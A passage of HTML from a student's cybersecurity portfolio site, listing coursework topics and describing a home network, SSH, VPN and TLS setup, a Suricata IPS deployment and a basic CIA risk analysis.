class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a 